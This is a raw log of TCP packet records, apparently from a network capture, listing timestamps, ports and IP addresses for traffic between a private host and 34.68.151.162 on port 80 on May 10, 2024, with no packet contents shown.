May 10, 2024 09:20:58.094335079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094347954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094356060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094360113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094372034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094377995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094383001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094396114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094408035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094413996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094419956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094432116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094436884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094444036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094453096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094455957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094468117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094475985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094480038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094491959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094504118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094516993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094522953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094530106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094541073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094552040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094559908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094563007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094574928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094587088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094595909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094599009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094610929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094618082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094621897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094631910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094636917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094649076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094655991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094660044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094671965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094680071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094683886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094696045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094707012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094712973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094719887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094732046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094733000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094744921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094748020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094757080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094768047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094777107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094779968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094791889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094799042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094805002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094815969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094825983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094825983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094836950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094849110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094849110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094862938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094877005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094882965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094890118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094902992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094906092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094914913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094918013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094928980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094939947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094950914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094950914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094964981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094973087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094975948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094999075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095002890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095016003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095026970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095033884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095040083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095051050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095056057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095062971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095074892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095081091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095087051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095112085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095118999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095125914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095139980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095144987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095151901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095165014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095176935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095181942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095199108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095263004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095745087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095757961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095769882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095781088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095793009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.095799923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095817089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.095844984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096025944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096108913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096122026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096132994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096143007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096147060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096158981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096163988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096183062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096194983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096198082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096208096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096220016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096230984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096231937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096263885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096313000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096324921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096337080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096343994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096349001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096363068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096368074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096376896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096396923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096441031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096452951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096465111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096477032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096482038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096489906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096502066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096504927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096514940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096527100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096528053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096538067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096549988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096560955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096561909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096573114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096575975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096585989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096591949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096599102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096611023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096621037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096623898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096637011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096642971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096649885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096662998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096673965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096673965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096688032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096694946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096719980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096729994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096741915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096752882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096764088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096771955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096776962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096787930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096798897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096802950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096812010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096822023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096822977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096838951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096848011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096849918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096862078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096868992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096874952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096885920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096898079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096909046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096909046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096921921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096929073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096935034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096942902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096946955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096960068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096966982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096971989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096983910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.096992970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.096997023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097008944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097023010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097024918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097037077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097045898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097048998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097062111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097069025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097074032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097086906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097094059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097100973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097112894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097125053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097127914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097137928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097148895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097150087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097162008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097163916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097177029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097187996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097193956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097202063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097213030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097214937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097225904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097237110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097249031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097249031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097261906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097270012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097296953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097527981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097539902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097552061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097563028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097573996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097584963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097589970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097596884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097603083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097610950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097619057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097623110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097635031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097645998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097651958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097659111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097670078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097676039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097681999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097693920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097697020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097712040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097718000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097724915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097738028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097757101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097776890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097870111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097882032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097893000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097904921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097912073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097917080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097929001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097935915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097940922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097953081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097959995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097964048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097975969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.097982883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.097987890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098000050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098006964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098011971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098025084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098031998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098037958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098050117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098052979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098062992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098073959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098082066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098086119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098098040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098105907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098109007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098123074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098129034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098134995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098146915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098154068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098157883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098170042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098177910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098181963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098195076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098201990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098207951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098221064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098227978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098232031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098243952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.098252058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.098280907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099030972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099044085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099055052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099069118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099076033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099081993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099116087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099145889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099172115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099176884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099184990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099198103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099209070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099219084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099230051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099230051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099244118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099251032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099256992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099262953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099270105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099282980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099292994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099294901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099306107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099317074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099318981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099328995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099334955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099342108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099353075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099364996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099369049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099376917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099389076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099389076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099402905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099410057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099415064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099426985 CEST	80	49754	34.68.151.162	192.168.2.4
